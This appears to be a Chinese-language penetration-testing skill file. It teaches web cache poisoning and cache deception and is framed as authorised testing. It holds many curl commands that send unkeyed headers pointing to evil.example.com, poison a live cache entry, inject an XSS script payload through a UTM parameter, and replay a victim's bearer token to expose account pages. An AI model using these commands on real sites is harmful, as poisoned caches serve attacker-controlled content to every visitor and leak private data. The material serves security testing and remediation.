| name | performing-web-cache-poisoning-attack |
| description | 在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","cache-poisoning","web-security","cdn","burpsuite","owasp"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 Web 缓存投毒攻击(Performing Web Cache Poisoning Attack)
适用场景
- 在授权渗透测试中,当应用程序使用 CDN 或反向代理缓存(Cloudflare、Akamai、Varnish、Nginx)时
- 评估 Web 应用程序是否存在可能影响所有用户的缓存型漏洞时
- 测试未纳入缓存键的 HTTP 头部是否在缓存响应中被反射时
- 评估缓存键行为和缓存欺骗漏洞时
- 对具有激进缓存策略的应用程序进行安全评估时
前置条件
- 授权:明确涵盖缓存投毒测试的书面渗透测试协议
- Burp Suite Professional:配合 Param Miner 扩展,用于自动发现未纳入缓存键的头部
- curl:用于精确控制头部的手工缓存测试
- 目标知识:了解缓存层(CDN 提供商、缓存头部)
- 缓存破坏参数(Cache buster):用于隔离测试请求与其他用户的唯一查询参数
- 注意:缓存投毒影响所有用户;务必先使用缓存破坏参数进行测试
工作流程
步骤 1 — 识别缓存层和缓存行为
确认正在使用的缓存基础设施以及缓存键的构造方式。
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/" | grep -i "vary"
步骤 2 — 使用 Param Miner 发现未纳入缓存键的输入
使用 Burp 的 Param Miner 找出未纳入缓存键但在响应中被反射的头部和参数。
# 在 Burp Suite 中:
# 1. 从 BApp Store 安装 Param Miner
# 2. 右键点击目标请求 > Extensions > Param Miner > Guess headers
# 3. Param Miner 将测试数百个 HTTP 头部
# 4. 在 Extender > Extensions > Param Miner > Output 中查看结果
# 需手工测试的常见未纳入缓存键的头部:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
CB="cachebuster=$(date +%s)"
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"
步骤 3 — 利用未纳入缓存键的头部进行缓存投毒
构造请求,将恶意内容注入缓存响应。
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"
curl -s "https://target.example.com/" | grep "evil.example.com"
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?cb=unique456"
curl -s \
-H "X-Forwarded-Host: evil.example.com" \
-H "X-Forwarded-Proto: https" \
"https://target.example.com/?cb=unique789"
步骤 4 — 测试 Web 缓存欺骗
欺骗缓存将已认证响应存储为公开 URL 的内容。
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
"https://target.example.com/account/profile/test.css" | \
grep -i "email\|name\|balance"
curl -s "https://target.example.com/account/profile/test.css"
for ext in css js jpg png gif ico svg woff woff2 ttf; do
echo -n ".$ext: "
curl -s -H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code} %{size_download}" \
"https://target.example.com/account/settings/x.$ext"
echo
done
步骤 5 — 测试基于参数的缓存投毒
利用未纳入缓存键的查询参数或参数解析差异。
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
grep "alert"
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"
curl -s -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "param=evil_value" \
"https://target.example.com/page?cb=$(date +%s)"
curl -s "https://target.example.com/page?a=1&b=2"
curl -s "https://target.example.com/page?b=2&a=1"
curl -s -H "Host: target.example.com:1234" \
"https://target.example.com/?cb=$(date +%s)" | grep "1234"
步骤 6 — 验证影响并清理
确认攻击影响并确保被毒化的缓存条目被清除。
curl -s -H "User-Agent: CacheVerification" \
"https://target.example.com/" | grep "evil"
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
curl -s -X PURGE "https://target.example.com/"
核心概念
| 概念 | 定义 |
|---|
| 缓存键(Cache Key) | 用于标识缓存响应的请求属性集合(host、path、query) |
| 未纳入缓存键的输入(Unkeyed Input) | 未包含在缓存键中但在响应中被反射的 HTTP 头部或参数 |
| 缓存投毒(Cache Poisoning) | 向缓存响应注入恶意内容,使其被提供给其他用户 |
| 缓存欺骗(Cache Deception) | 欺骗缓存将已认证/私有响应存储为公开内容 |
| Vary 头部(Vary Header) | 指定哪些请求头部应纳入缓存键的 HTTP 头部 |
| 缓存破坏参数(Cache Buster) | 在测试期间防止影响真实缓存的唯一查询参数 |
| TTL(生存时间) | 缓存响应在刷新前保持有效的持续时间 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite Professional | 请求拦截和缓存行为分析 |
| Param Miner(Burp 扩展) | 自动发现未纳入缓存键的 HTTP 头部和参数 |
| Web Cache Vulnerability Scanner | 自动检测缓存投毒的工具 |
| curl | 精确控制头部的手工 HTTP 请求构造 |
| Varnishlog | Varnish 缓存调试和日志分析 |
| CDN 专用工具 | Cloudflare Analytics、Akamai Pragma 头部用于缓存诊断 |
常见场景
场景 1:通过 X-Forwarded-Host 注入脚本
应用程序将 X-Forwarded-Host 头部反射到 script src URL 中。该头部未纳入缓存键。发送带有 X-Forwarded-Host: evil.com 的请求,毒化缓存,使所有后续访问者从攻击者服务器加载 JavaScript。
场景 2:账户页面的 Web 缓存欺骗
Cloudflare 缓存的应用程序忽略未知路径段。请求 /account/profile/logo.png 返回账户页面,而 Cloudflare 将其缓存为静态图片。任何未认证用户随后均可访问该缓存的账户页面。
场景 3:通过缓存实现基于参数的 XSS
UTM 跟踪参数被排除在缓存键之外,但在页面 HTML 中被渲染。通过 utm_content 参数注入 <script> 标签,毒化缓存,对所有访问者形成持久型 XSS。
场景 4:通过 Host 头部进行 CDN 缓存投毒
多个应用程序位于同一 CDN 后端。操控 Host 头部使 CDN 在某应用程序的缓存键下存储另一个应用程序的响应。
输出格式
## Web 缓存投毒发现
**漏洞**:通过未纳入缓存键的头部实现 Web 缓存投毒
**严重性**:High(CVSS 8.6)
**位置**:所有页面上的 X-Forwarded-Host 头部
**OWASP 类别**:A05:2021 - 安全配置错误
### 缓存配置
| 属性 | 值 |
|----------|-------|
| CDN/缓存 | Cloudflare |
| Cache-Control | max-age=3600, public |
| 未纳入缓存键的头部 | X-Forwarded-Host, X-Forwarded-Proto |
| 受影响页面 | 所有 HTML 页面(/*.html) |
### 复现步骤
1. 发送带有 X-Forwarded-Host: evil.example.com 的请求
2. 响应包含:<link href="https://evil.example.com/style.css">
3. Cloudflare 将该响应缓存 3600 秒
4. 所有后续访问者收到被毒化的响应
### 影响
- 在所有用户浏览器中执行 JavaScript(通过毒化的 script src)
- 凭证窃取、会话劫持、页面篡改
- 在 1 小时缓存窗口期内预计影响每日 50,000 名访问者
- 可持续重新投毒以维持攻击效果
### 建议
1. 通过 Vary 头部将 X-Forwarded-Host 及类似头部纳入缓存键
2. 不在响应内容中反射未纳入缓存键的头部
3. 配置缓存在转发到源服务器前剥离未知头部
4. 在应用层使用硬编码基础 URL,而非从头部派生
5. 实施缓存键规范化以防止键操控